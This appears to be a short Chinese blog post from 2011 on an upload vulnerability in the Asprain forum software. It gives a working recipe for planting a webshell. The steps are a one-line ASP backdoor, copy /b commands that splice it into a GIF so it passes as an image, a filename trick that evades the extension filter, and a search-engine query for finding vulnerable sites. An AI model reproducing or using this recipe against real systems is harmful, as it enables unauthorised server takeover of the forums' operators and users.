Asprain论坛 注册用户 上传图片就可拿到webshell
2011-07-25 08:45:57| 分类:
漏洞播报
| 标签:
|举报
|字号大中小 订阅
Asprain是一个适合于各中小学、中专、技校、职高建设校园论坛、师生交流论坛,一些教科研部门、公司企业建设内部论坛、IT技术爱好者建设技术交流论坛的免费论坛程序。它有两个版本,分别是asp+Access版和asp+sqlServer版,功能完全一致,建站者可以根据自己的需要选用不同的版本
------------------------------------------------
1.txt存放你的一句话马 如:<%execute(request("cmd"))%>
2.gif 为一小图片文件,一定要小,比如qq表情图片
3:copy /b 2.gif+1.txt 3.gif 这样就伪造了文件头,但是现在传上去还不行,我接下来就用
4:copy /b 3.gif+2.gif 4.asp ok,现在文件头和文件尾都是正常的图片文件了
5.q.asp;.gif
------------------------------------------------
google:Powered by Asprain
------------------------------------------------
评论这张
转发至微博
转发至微博
评论